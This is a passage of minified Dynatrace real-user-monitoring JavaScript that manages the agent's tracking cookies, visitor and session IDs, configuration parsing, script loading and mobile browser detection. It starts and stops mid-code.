cookie name".concat(1!==nf.length?"s":""," detected: ").concat(nf.join(", "))});Ca(function(w,M,A,Ta){0<nf.length&&!M&&(w.av(Ta,"dCN",nf.join(",")),nf=[]);0<ih.length&&!M&&(w.av(Ta,"eCC", ih.join(",")),ih=[])})}function af(k){var w=k,M=Math.pow(2,32);return function(){w=(1664525*w+1013904223)%M;return w/M}}function Se(k,w){return isNaN(k)||isNaN(w)?Math.floor(33*Rg()):Math.floor(Rg()*(w-k+1))+k}function Qd(k){if(!k)return"";var w=Bb.crypto||Bb.msCrypto;if(w&&-1===ra(navigator.userAgent,"Googlebot"))w=w.getRandomValues(new Uint8Array(k));else{w=[];for(var M=0;M<k;M++)w.push(Se(0,32))}k=[];for(M=0;M<w.length;M++){var A=Math.abs(w[M]%32);k.push(String.fromCharCode(A+(9>=A?48:55)))}return k.join("")} function ke(){return of}function Wc(k){k&&(null===k||void 0===k?0:k.configurable)&&k.set&&k.get&&Object.defineProperty(document,"cookie",{get:function(){return k.get.call(document)},set:function(w){var M=w.split("=")[0];k.set.call(document,w);Oe?1<bc(M)&&nf.push(M):-1<ia(Xf,M)&&(ih.push(M),-1===ia(Sg,M)&&(C(Sg,M),C(me,{severity:"Error",type:"ecm",text:"Invalid modification of agent cookie ".concat(M," detected. Modifying Dynatrace cookies may result in missing or invalid data.")})))}})}function Te(k){void 0=== k&&(k=!0);Cg=k}function Bd(k,w,M){var A=Za("pcl");A=k.length-A;0<A&&k.splice(0,A);A=ac(ba("dtCookie",M));for(var Ta=[],xb=A?"".concat(A,"$"):"",ec=0;ec<k.length;ec++){var uc=k[ec];"-"!==uc.G&&Ta.push("".concat(xb).concat(uc.frameId,"h").concat(uc.G))}k=Ta.join("p");k||(Cg&&(E(!0,"a",M),Te(!1)),k+="".concat(A,"$").concat(of,"h-"));k+="v".concat(w||ye(M));Ga("dtPC",k+"e0",void 0,Oa("ssc"))}function Rd(k,w){void 0===w&&(w=document.cookie);var M=ba("dtPC",w);w=[];if(M&&"-"!==M){var A="";var Ta=0;for(M= M.split("p");Ta<M.length;Ta++){var xb=M[Ta],ec=A,uc=k;void 0===ec&&(ec="");A=ra(xb,"$");var qc=ra(xb,"h");var ud=ra(xb,"v"),We=ra(xb,"e");A=xb.substring(A+1,qc);qc=-1!==ud?xb.substring(qc+1,ud):xb.substring(qc+1);ec||-1===ud||(ec=-1!==We?xb.substring(ud+1,We):xb.substring(ud+1));xb=null;uc||(uc=U(A.split("_")[0]),ud=Vc()%Tg,ud<uc&&(ud+=Tg),uc=uc+9E5>ud);uc&&(xb={frameId:A,G:"-"===qc?"-":U(qc),visitId:""});A=ec;(qc=xb)&&w.push(qc)}for(k=0;k<w.length;k++)w[k].visitId=A}return w}function Xe(k,w){var M= document.cookie;w=Rd(w,M);for(var A=!1,Ta=0;Ta<w.length;Ta++){var xb=w[Ta];xb.frameId===of&&(xb.G=k,A=!0)}A||C(w,{frameId:of,G:k,visitId:""});Bd(w,void 0,M)}function ye(k){return zd(k)||E(!0,"c",k)}function zd(k){if(fc(k)<=Vc())return E(!0,"t",k);var w=vd(k);if(!w)return E(!0,"c",k);var M=ni.exec(w);if(!M||3!==M.length||32!==M[1].length||isNaN(U(M[2])))return E(!0,"i",k);x("rxvisitid",w);return w}function ze(k,w){var M=Vc();w=Ib(w).Gc;k&&(w=M);bb(M+Df+"|"+w);sa()}function ne(k){var w="t"+(Vc()-fc(k)), M=vd(k),A=He();ve(A,k);N(A,w,M)}function vd(k){var w,M;return null!==(M=null===(w=Rd(!0,k)[0])||void 0===w?void 0:w.visitId)&&void 0!==M?M:oa("rxvisitid")}function He(){var k=Qd(cd);k=k.replace(/[0-9]/g,function(w){w=.1*U(w);return String.fromCharCode(Math.floor(25*w+65))});return k+"-0"}function ve(k,w){var M=Rd(!1,w);Bd(M,k,w);x("rxvisitid",k);ze(!0)}function u(k,w,M){return E(k,w,M)}function E(k,w,M){k&&(Ef=!0);k=vd(M);M=He();ve(M);N(M,w,k);return M}function N(k,w,M){if(vd(document.cookie))for(var A= 0,Ta=Yf;A<Ta.length;A++)(0,Ta[A])(k,Ef,w,M)}function ha(k){Yf.push(k)}function sa(k){wd&&ma(wd);wd=gd(Ia,fc(k)-Vc())}function Ia(){var k=document.cookie;if(fc(k)<=Vc())return y(ne,[k]),!0;ad(sa);return!1}function bb(k){Ga("rxvt",k,void 0,Oa("ssc"));x("rxvt",k)}function cb(k,w){(w=ba(k,w))||(w=oa(k)||"");return w}function Fb(){var k=zd()||"";x("rxvisitid",k);k=cb("rxvt");bb(k);qd()}function Ib(k){var w={Ad:0,Gc:0};if(k=cb("rxvt",k))try{var M=k.split("|");2===M.length&&(w.Ad=parseInt(M[0],10),w.Gc= parseInt(M[1],10))}catch(A){}return w}function fc(k){k=Ib(k);return Math.min(k.Ad,k.Gc+Mf)}function Ec(k){Df=k}function ld(){var k=Ef;Ef=!1;return k}function fd(){Ia()||ze(!1)}function hd(k){try{if(Bb.localStorage)return Bb.localStorage.getItem(k)}catch(w){}return null}function od(){var k=ba("rxVisitor");k&&45===(null===k||void 0===k?void 0:k.length)||(k=hd("rxVisitor")||oa("rxVisitor"),45!==(null===k||void 0===k?void 0:k.length)&&(Nf=!0,k=String(Vc()),k+=Qd(45-k.length)));we(k);return k}function we(k){if(Oa("dpvc")|| Oa("pVO"))x("rxVisitor",k);else{var w=new Date;var M=w.getMonth()+Math.min(24,Math.max(1,Za("rvcl")));w.setMonth(M);y(Ic,["rxVisitor",k])}Ga("rxVisitor",k,w,Oa("ssc"))}function ce(){return Nf}function Xd(k){var w=ba("rxVisitor");O("rxVisitor");R("rxVisitor");Nc("rxVisitor");ka("pVO",!0);we(w);k&&y(Ic,["dt-pVO","1"]);Fb()}function Hd(){Nc("dt-pVO");Oa("pVO")&&(ka("pVO",!1),od());R("rxVisitor");Fb()}function xf(k,w,M,A,Ta){var xb=document.createElement("script");xb.setAttribute("src",k);w&&xb.setAttribute("defer", "defer");M&&(xb.onload=M);A&&(xb.onerror=A);Ta&&xb.setAttribute("id",Ta);xb.setAttribute("crossorigin","anonymous");k=document.getElementsByTagName("script")[0];k.parentElement.insertBefore(xb,k)}function Of(k,w){return Ff+"/"+(w||Ug)+"_"+k+"_"+(Za("buildNumber")||Bb.dT_.version)+".js"}function Dg(){var k,w;try{null===(w=null===(k=Bb.MobileAgent)||void 0===k?void 0:k.incrementActionCount)||void 0===w?void 0:w.call(k)}catch(M){}}function jh(){var k,w=Bb.dT_;Bb.dT_=(k={},k.di=0,k.version="10243220606153550", k.cfg=w?w.cfg:"",k.iCE=w?Va:function(){return navigator.cookieEnabled},k.ica=1,k.disabled=!1,k.overloadPrevention=!1,k.gAST=pc,k.ww=oc,k.stu=Na,k.nw=Kc,k.apush=C,k.st=gd,k.si=Db,k.aBPSL=Ca,k.rBPSL=Ra,k.gBPSL=Sa,k.aBPSCC=rb,k.gBPSCC=wb,k.buildType="dynatrace",k.gSSV=oa,k.sSSV=x,k.rSSV=R,k.rvl=Nc,k.pn=U,k.iVSC=Wa,k.p3SC=Oc,k.io=ra,k.dC=O,k.sC=Ga,k.esc=H,k.gSId=ac,k.gDtc=rc,k.gSC=Eb,k.sSC=Lb,k.gC=db,k.cRN=Se,k.cRS=Qd,k.gEL=L,k.gEBTN=eb,k.cfgO=Zb,k.pCfg=Ha,k.pCSAA=vb,k.cFHFAU=Cb,k.sCD=Qb,k.bcv=Oa,k.ncv= Za,k.scv=I,k.stcv=ka,k.rplC=Ba,k.cLSCK=yb,k.gFId=ke,k.gBAU=Of,k.iS=xf,k.eWE=ad,k.oEIE=dc,k.oEIEWA=y,k.eA=Lc,k.dA=jd,k.iNV=ce,k.gVID=od,k.dPV=Xd,k.ePV=Hd,k.sVIdUP=Te,k.sVTT=Ec,k.sVID=ve,k.rVID=zd,k.gVI=ye,k.gNVIdN=u,k.gARnVF=ld,k.cAUV=fd,k.uVT=ze,k.aNVL=ha,k.gPC=Rd,k.cPC=Xe,k.sPC=Bd,k.clB=Ac,k.ct=ma,k.aRI=jb,k.iXB=Ab,k.gXBR=nb,k.sXBR=lb,k.de=Q,k.cCL=La,k.iEC=Dg,k.rnw=ab,k.gto=za,k.ael=la,k.rel=ua,k.sup=Ka,k.cuel=Hb,k.iAEPOO=t,k.iSM=mc,k.aIOf=ia,k.gxwp=V,k.iIO=W,k.prm=ja,k.cI=Yb,k.gidi=ed,k.iDCV=q, k.gCF=ba,k.gPSMB=D,k.lvl=hd,k)}function pf(){ad(function(){if(!rc()){var k=-1*Se(2,99),w=Qd(cd);Lb("v_4_srv_".concat(String(k).replace("-","-2D"),"_sn_").concat(w))}})}var Vf="undefined"!==typeof window?window:self,Bb="undefined"!==typeof window?window:self,tg,J,B=setTimeout;na.prototype["catch"]=function(k){return this.then(null,k)};na.prototype.then=function(k,w){var M=new this.constructor(Z);ta(this,new S(k,w,M));return M};na.prototype["finally"]=function(k){var w=this.constructor;return this.then(function(M){return w.resolve(k()).then(function(){return M})}, function(M){return w.resolve(k()).then(function(){return w.reject(M)})})};na.all=function(k){return new na(function(w,M){function A(uc,qc){try{if(qc&&("object"===typeof qc||"function"===typeof qc)){var ud=qc.then;if("function"===typeof ud){ud.call(qc,function(We){A(uc,We)},M);return}}Ta[uc]=qc;0===--xb&&w(Ta)}catch(We){M(We)}}if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.all accepts an array"));var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);for(var xb=Ta.length, ec=0;ec<Ta.length;ec++)A(ec,Ta[ec])})};na.allSettled=function(k){return new this(function(w,M){function A(ec,uc){if(uc&&("object"===typeof uc||"function"===typeof uc)){var qc=uc.then;if("function"===typeof qc){qc.call(uc,function(ud){A(ec,ud)},function(ud){Ta[ec]={status:"rejected",reason:ud};0===--xb&&w(Ta)});return}}Ta[ec]={status:"fulfilled",value:uc};0===--xb&&w(Ta)}if(!k||"undefined"===typeof k.length)return M(new TypeError(typeof k+" "+k+" is not iterable(cannot read property Symbol(Symbol.iterator))")); var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);var xb=Ta.length;for(M=0;M<Ta.length;M++)A(M,Ta[M])})};na.resolve=function(k){return k&&"object"===typeof k&&k.constructor===na?k:new na(function(w){w(k)})};na.reject=function(k){return new na(function(w,M){M(k)})};na.race=function(k){return new na(function(w,M){if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.race accepts an array"));for(var A=0,Ta=k.length;A<Ta;A++)na.resolve(k[A]).then(w,M)})};na.Jb="function"=== typeof setImmediate&&function(k){setImmediate(k)}||function(k){B(k,0)};na.Qc=function(k){"undefined"!==typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",k)};var K=na,Fa={"!":"%21","~":"%7E","*":"%2A","(":"%28",")":"%29","'":"%27",$:"%24",";":"%3B",",":"%2C"},Ya,tb,Sb,Ub,Pb=Bb.attachEvent,cc=Bb.Worker,lc=cc&&cc.prototype.addEventListener,$c=[],Vd=["touchstart","touchend","scroll"],yd,dd,ie="abort getAllResponseHeaders getResponseHeader open overrideMimeType send setRequestHeader".split(" "), Kd,Ne,Yc,Ce,ig=(Ce={},Ce.l="Lax",Ce.s="Strict",Ce.n="None",Ce),xc={},Ld,Oe=!1,cd=32,je=Bb.Worker,Wd=Bb.Blob,jg=Bb.URL&&Bb.URL.createObjectURL,Fe,Ge,Ee,mi,kg=!1,tf,Wf=[],me=[],Jd,lg,Bg={},Vc,Cf=[],nf=[],ih=[],Rg,Eg,of,Tg=6E8,Xf=[],Sg=[],Cg=!1,ni=/([A-Z]+)-([0-9]+)/,Yf=[],Df,Mf,Ef=!1,wd,Nf=!1,Ye,Ff,Ug;(function(k){var w,M;k=k||0>(null===(w=navigator.userAgent)||void 0===w?void 0:w.indexOf("RuxitSynthetic"));if(!Bb.dT_||!Bb.dT_.cfg||"string"!==typeof Bb.dT_.cfg||"initialized"in Bb.dT_&&Bb.dT_.initialized)null=== (M=Bb.console)||void 0===M?void 0:M.log("InitConfig not found or agent already initialized! This is an injection issue."),Bb.dT_&&(Bb.dT_.di=3);else if(k)try{jh();var A;Yc=(A={},A.ade="",A.aew=!0,A.apn="",A.agentLocation="",A.agentUri="",A.app="",A.async=!1,A.ase=!1,A.auto=!1,A.bp1=!1,A.bp2=!1,A.bp=1,A.bisaoi=!1,A.bisCmE="",A.bs=!1,A.buildNumber=0,A.csprv=!0,A.cepl=16E3,A.cls=!0,A.ccNcss=!1,A.cg=!1,A.coo=!1,A.cooO=!1,A.cssm="0",A.cwt="",A.cwtUrl="27pd8x1igg",A.cors=!1,A.csu="",A.cuc="",A.cce=!1,A.cux= !1,A.dataDtConfig="",A.debugName="",A.dvl=500,A.dASXH=!1,A.disableCookieManager=!1,A.disableLogging=!1,A.dmo=!1,A.doel=!1,A.dpch=!1,A.dpvc=!1,A.disableXhrFailures=!1,A.domain="",A.domainOverride="",A.domainOriginal="",A.doNotDetect="",A.ds=!0,A.dsndb=!1,A.dsa=!1,A.dsss=!1,A.dssv=!0,A.earxa=!0,A.exp=!1,A.eni=!0,A.erjdw=!0,A.expw=!1,A.instr="",A.evl="",A.extblacklist="",A.euf=!1,A.fau=!0,A.fa=!1,A.fvdi=!1,A.featureHash="",A.hvt=216E5,A.ffi=!1,A.imm=!1,A.ign="",A.iub="",A.iqvn=!1,A.initializedModules= "",A.lastModification=0,A.lupr=!0,A.lab=!1,A.legacy=!1,A.lt=!0,A.mb="",A.md="",A.mdp="",A.mdl="",A.mcepsl=100,A.mdn=5E3,A.mhl=4E3,A.mpl=1024,A.mmds=2E4,A.msl=3E4,A.bismepl=2E3,A.mel=200,A.mepp=10,A.moa=30,A.mrt=3,A.ntd=!1,A.ncw=!1,A.oat=180,A.ote=!1,A.owasp=!1,A.pcl=20,A.pt=!0,A.perfbv=1,A.prfSmpl=0,A.pVO=!1,A.peti=!1,A.raxeh=!0,A.rdnt=0,A.nosr=!0,A.reportUrl="dynaTraceMonitor",A.rid="",A.ridPath="",A.rpid="",A.rcdec=12096E5,A.rtl=0,A.rtp=2,A.rtt=1E3,A.rtu=200,A.restoreTimeline=!1,A.rvcl=24,A.sl= 100,A.ssc=!1,A.svNB=!1,A.srad=!0,A.srbbv=1,A.srbw=!0,A.srmr=100,A.srms="1,1,,,",A.srsr=1E5,A.srtbv=3,A.srtd=1,A.srtr=500,A.srvr="",A.srvi=0,A.srwo=!1,A.srre="",A.srxcss=!0,A.srxicss=!0,A.srif=!1,A.srmrc=!1,A.srsdom=!1,A.srcss=!0,A.srmcrl=1,A.srmcrv=10,A.ssv=4,A.st=3E3,A.spc="",A.syntheticConfig=!1,A.tal=0,A.tp="500,50,3",A.tt=100,A.tvc=3E3,A.exteventsoff=!1,A.uxdce=!1,A.uxdcw=1500,A.uxrgce=!0,A.uxrgcm="100,25,300,3;100,25,300,3",A.uam=!1,A.uana="data-dtname,data-dtName",A.uanpi=0,A.pui=!1,A.usrvd= !0,A.vrt=!1,A.vcfi=!0,A.vcit=1E3,A.vct=50,A.vcx=50,A.vscl=0,A.vncm=1,A.xb="",A.chw="",A.xt=0,A.xhb="",A);var Ta;ja();var xb;yd=Bb.XMLHttpRequest;dd=Bb.ActiveXObject;var ec=null===(xb=Bb.XMLHttpRequest)||void 0===xb?void 0:xb.prototype;if(ec)for(Kd={},w=0,M=ie;w<M.length;w++){var uc=M[w];void 0!==ec[uc]&&(Kd[uc]=ec[uc])}Ya=Bb.addEventListener;tb=Bb.removeEventListener;Sb=Bb.document.addEventListener;Ub=Bb.document.removeEventListener;Ee=Bb.setTimeout;mi=Bb.setInterval;kg||(Fe=Bb.clearTimeout,Ge=Bb.clearInterval); var qc=Va?Va():navigator.cookieEnabled,ud=1===Oc(ba("dtAdkSettings")||(null===(Ta=lg)||void 0===Ta?void 0:Ta.getItem("dtAdkSettings"))||"").overloadState;La();if(!(!qc||ud?0:"complete"!==document.readyState||Bb.performance&&Bb.performance.timing))throw Error("Error during initCode initialization");try{lg=Bb.localStorage}catch(Xb){}$b();Jd=Vc();tf=[];me=[];Bg={};if(!kg){Bb.clearTimeout=Sc(Fe);Bb.clearInterval=Sc(Ge);kg=!0;try{Ld=Bb.sessionStorage}catch(Xb){}}var We=Math.random(),Ei=Math.random();Eg= 0!==We&&0!==Ei&&We!==Ei;if(-1!==ra(navigator.userAgent,"Googlebot")){var Ie=performance.getEntriesByType("navigation")[0];Ta=1;if(Ie){for(var Gf in Ie){var bf=Ie[Gf];"number"===typeof bf&&bf&&(Ta=1===Ta?bf:Ta+bf)}var kf=Math.floor(1E4*Ta)}else kf=Ta;Rg=af(kf)}else Eg?Rg=Math.random:Rg=af(Vc());of=Jd%Tg+"_"+U(Se(0,1E3)+"");a:{var Je=Bb.dT_.cfg;xc={reportUrl:"dynaTraceMonitor",initializedModules:"",csu:"dtagent",dataDtConfig:"string"===typeof Je?Je:""};Bb.dT_.cfg=xc;xc.csu="ruxitagentjs";var Ed=xc.dataDtConfig; Ed&&-1===ra(Ed,"#CONFIGSTRING")&&(vb(Ed,xc),$a("domain"),$a("auto"),$a("app"),Cb(xc));var mg=eb("script"),kh=L(mg),Fd=-1===ra(xc.dataDtConfig||"","#CONFIGSTRING")?xc:null;if(0<kh)for(kf=0;kf<kh;kf++)b:{Ie=void 0;var lh=mg[kf];Gf=Fd;if(lh.attributes){var Sd=xc.csu+"_bootstrap.js";bf=/.*\/jstag\/.*\/.*\/(.*)_bs(_dbg)?.js$/;Je=Gf;var Bc=lh.src,qe=null===Bc||void 0===Bc?void 0:Bc.indexOf(Sd),fj=lh.attributes.getNamedItem("data-dtconfig");if(fj){Ed=void 0;Ta=Bc;var Zf=fj.value;ec={};xc.legacy="1";uc=/([a-zA-Z]*)_([a-zA-Z_0-9]*)_([0-9]+)/g; Ta&&(Ed=uc.exec(Ta),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1],ec.featureHash=Ed[2],ec.agentLocation=Ta.substring(0,ra(Ta,Ed[1])-1),ec.buildNumber=Ed[3]);if(Zf){vb(Zf,ec,!0);var Fi=ec.agentUri;!Ta&&Fi&&(Ed=uc.exec(Fi),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1])}bd(ec);Ie=ec;if(!Gf)Je=Ie;else if(!Ie.syntheticConfig){Fd=Ie;break b}}Ie||(Ie=xc);if(0<qe){var Gi=qe+Sd.length+5;Ie.app=Bc.length>Gi?Bc.substring(Gi):"Default%20Application"}else if(Bc){var oi=bf.exec(Bc);oi&&(Ie.app=oi[1])}Fd= Je}else Fd=Gf}if(Fd)for(var Cc in Fd)Object.prototype.hasOwnProperty.call(Fd,Cc)&&(mg=Cc,xc[mg]=Fd[mg]);var sc=yb();try{var uf=(Fd=lg)&&Fd.getItem(sc);if(uf){var Ae=Ha(uf),Md=vb(Ae.config||""),cf=xc.lastModification||"0",df=U((Md.lastModification||Ae.lastModification||"0").substring(0,13)),ug="string"===typeof cf?U(cf.substring(0,13)):cf;if(!cf||df>=ug)if(Md.csu=Ae.name||I("csu"),Md.featureHash=Ae.featureHash||I("featureHash"),Md.agentUri&&Cb(Md),Qb(Md,!0),Ab(Md),jb(Md),df>(xc.lastModification||0)){var Td= Oa("auto"),gj=Oa("legacy");xc=Ba(Md);xc.auto=Td?"1":"0";xc.legacy=gj?"1":"0"}}}catch(Xb){}Qb(xc);try{var Hi=xc.ign;if(Hi&&(new RegExp(Hi)).test(Bb.location.href)){document.dT_=Bb.dT_=void 0;var re=!1;break a}}catch(Xb){}if(mc()){var pi=navigator.userAgent,Yd=pi.lastIndexOf("RuxitSynthetic");if(-1===Yd)var $f={};else{var qf=pi.substring(Yd+14);if(-1===ra(qf," c"))$f={};else{sc={};uf=0;for(var rf=qf.split(" ");uf<rf.length;uf++){var ag=rf[uf];if("c"===ag.charAt(0)){var yf=ag.substring(1),Ch=yf.indexOf("="), Pe=yf.substring(0,Ch),Oh=yf.substring(Ch+1);Pe&&Oh&&(sc[Pe]=Oh)}}$f=sc}}qf=void 0;for(qf in $f)Object.prototype.hasOwnProperty.call($f,qf)&&$f[qf]&&(xc[qf]=$f[qf]);Ba(xc)}re=!0}if(!re)throw Error("Error during config initialization");Pd();try{Ye=Bb.dT_.disabled||!!oa("dtDisabled")}catch(Xb){}var Fg;if(!(Fg=I("agentLocation")))a:{var Vg=I("agentUri");if(Vg||document.currentScript){var F=Vg||document.currentScript.src;if(F){re=F;var P=-1===ra(re,"_bs")&&-1===ra(re,"_bootstrap")&&-1===ra(re,"_complete")? 1:2,da=F.lastIndexOf("/");for(re=0;re<P&&-1!==da;re++)F=F.substring(0,da),da=F.lastIndexOf("/");Fg=F;break a}}var xa=location.pathname;Fg=xa.substring(0,xa.lastIndexOf("/"))}Ff=Fg;Ug=I("csu")||"ruxitagentjs";"true"===ba("dtUseDebugAgent")&&0>Ug.indexOf("dbg")&&(Ug=I("debugName")||Ug+"dbg");if(!Oa("auto")&&!Oa("legacy")&&!Ye){var Qa=I("agentUri")||Of(I("featureHash")),hb;if(!(hb=Oa("async")||"complete"===document.readyState)){var Gb=Bb.navigator.userAgent,Jb=Gb.indexOf("MSIE ");hb=0<Jb?9>=parseInt(Gb.substring(Jb+ 5,Gb.indexOf(".",Jb)),10):!1}if(hb)xf(Qa,Oa("async"),void 0,void 0,"dtjsagent");else{var Rb="".concat("dtjsagent","dw");document.write('<script id="'.concat(Rb,'" type="text/javascript" src="').concat(Qa,'">\x3c/script>'));document.getElementById(Rb)||xf(Qa,Oa("async"),void 0,void 0,"dtjsagent")}}ba("dtCookie")&&ka("cooO",!0);pf();ka("pVO",!!hd("dt-pVO"));ad(od);Df=18E5;Mf=Za("hvt")||216E5;y(Xe,[1]);Sg=[];Xf="dtCookie dtLatC rxvt dtAdk dtAdkSettings dtPC".split(" ");if(Oa("cg"))try{Wc(Object.getOwnPropertyDescriptor(Document.prototype, "cookie")||Object.getOwnPropertyDescriptor(HTMLDocument.prototype,"cookie"))}catch(Xb){}}catch(Xb){try{delete Bb.dT_}catch(Dc){Bb.dT_=void 0}La()&&Bb.console.log("JsAgent initCode initialization failed!",Xb)}})(!1)})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(a){for(var b,d=1,f=arguments.length;d<f;d++){b=arguments[d];for(var l in b)Object.prototype.hasOwnProperty.call(b,l)&&(a[l]=b[l])}return a};return La.apply(this,arguments)}function gb(){return"10243220606153550"}function db(a,b){void 0===b&&(b=[]);var d=mb.dT_;d=(null===d||void 0===d?0:d.iIO)?d.iIO:null;return!(null=== d||void 0===d||!d(a,b))}function Ea(a,b,d){void 0===d&&(d=0);var f=-1;b&&(null===a||void 0===a?0:a.indexOf)&&(f=a.indexOf(b,d));return f}function Ua(a,b){if(!b)return"";var d=a+"=";a=Ea(b,d);if(0>a)return"";for(;0<=a;){if(0===a||" "===b.charAt(a-1)||";"===b.charAt(a-1))return d=a+d.length,a=Ea(b,";",a),0<=a?b.substring(d,a):b.substring(d);a=Ea(b,d,a+d.length)}return""}function Pa(a){return(db(a,9)||za(a))&&("string"===typeof a.textContent||"string"===typeof a.innerText)}function za(a){return a&&a.nodeType&& 1===a.nodeType}function ab(a){return a&&"INPUT"===a.nodeName}function ba(a){return a&&"SCRIPT"===a.nodeName}function Z(a){return!!a.syn}function Aa(a,b){var d;void 0===b&&(b=[]);if(!a||"object"!==typeof a&&"function"!==typeof a)return!1;var f="number"!==typeof b?b:[],l=null,r=[];switch("number"===typeof b?b:5){case 0:l="Array";r.push("push");break;case 1:l="Boolean";break;case 2:l="Number";break;case 3:l="String";break;case 4:l="Function";break;case 5:l="Object";break;case 6:l="Date";r.push("getTime"); break;case 7:l="Error";r.push("name","message");break;case 8:l="Element";break;case 9:l="HTMLElement";break;case 10:l="HTMLImageElement";r.push("complete");break;case 11:l="PerformanceEntry";break;case 12:l="PerformanceTiming";break;case 13:l="PerformanceResourceTiming";break;case 14:l="PerformanceNavigationTiming";break;case 15:l="CSSRule";r.push("cssText","parentStyleSheet");break;case 16:l="CSSStyleSheet";r.push("cssRules","insertRule");break;case 17:l="Request";r.push("url");break;case 18:l="Response"; r.push("ok","status","statusText");break;case 19:l="Set";r.push("add","entries","forEach");break;case 20:l="Map";r.push("set","entries","forEach");break;case 21:l="Worker";r.push("addEventListener","postMessage","terminate");break;case 22:l="XMLHttpRequest";r.push("open","send","setRequestHeader");break;case 23:l="SVGScriptElement";r.push("ownerSVGElement","type");break;case 24:l="HTMLMetaElement";r.push("httpEquiv","content","name");break;case 25:l="HTMLHeadElement";break;case 26:l="ArrayBuffer"; break;case 27:l="ShadowRoot",r.push("host","mode")}b=l;if(!b)return!1;r=r.length?r:f;if(!f.length)try{if(mb[b]&&a instanceof mb[b]||Object.prototype.toString.call(a)==="[object "+b+"]")return!0;if(za(a)){var G=null===(d=a.ownerDocument.defaultView)||void 0===d?void 0:d[b];if("function"===typeof G&&a instanceof G)return!0}}catch(ea){}for(d=0;d<r.length;d++)if(f=r[d],"string"!==typeof f&&"number"!==typeof f&&"symbol"!==typeof f||!(f in a))return!1;return!!r.length}function na(a,b,d){if(d||2===arguments.length)for(var f= 0,l=b.length,r;f<l;f++)!r&&f in b||(r||(r=Array.prototype.slice.call(b,0,f)),r[f]=b[f]);return a.concat(r||Array.prototype.slice.call(b))}function ta(a){return"function"===typeof a&&/{\s+\[native code]/.test(Function.prototype.toString.call(a))}function Ma(a,b){for(var d,f=[],l=2;l<arguments.length;l++)f[l-2]=arguments[l];return void 0!==Function.prototype.bind&&ta(Function.prototype.bind)?(d=Function.prototype.bind).call.apply(d,na([a,b],f,!1)):function(){for(var r=0;r<arguments.length;r++);return a.apply(b, (f||[]).concat(Array.prototype.slice.call(arguments)||[]))}}function Ja(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var a=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return a}function fa(){if(mb.MobileAgent||mb.dynatraceMobile){var a=Ua("dtAdkSettings",document.cookie);return Gg.dT_.p3SC(a).privacyState||null}return null}function S(){var a=fa();return 2===a||1===a?!1:!Gg.dT_.bcv("coo")|| Gg.dT_.bcv("cooO")||Gg.dT_.iSM()}function va(a){try{if(mb.localStorage)return mb.localStorage.getItem(a)}catch(b){}return null}function ja(a){for(var b=[],d=1;d<arguments.length;d++)b[d-1]=arguments[d];return hj?hj(a,b):Mk?Mk(function(){return a.apply(this,b)}):a.apply(this,b)}function U(){if("string"!==typeof document.title){var a=mh("title")[0];return a&&(a.innerText||a.textContent)||""}return document.title}function eb(a,b,d){return a.splice(b,(d||b)-b+1||a.length)}function L(){return gk}function C(){return mb.dT_} function H(){return p}function Q(){var a=document.location;return a?0!==yc(a.href,"http"):!0}function ia(){var a=navigator.userAgent||navigator.vendor||mb.opera&&mb.opera.version()||"";return/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 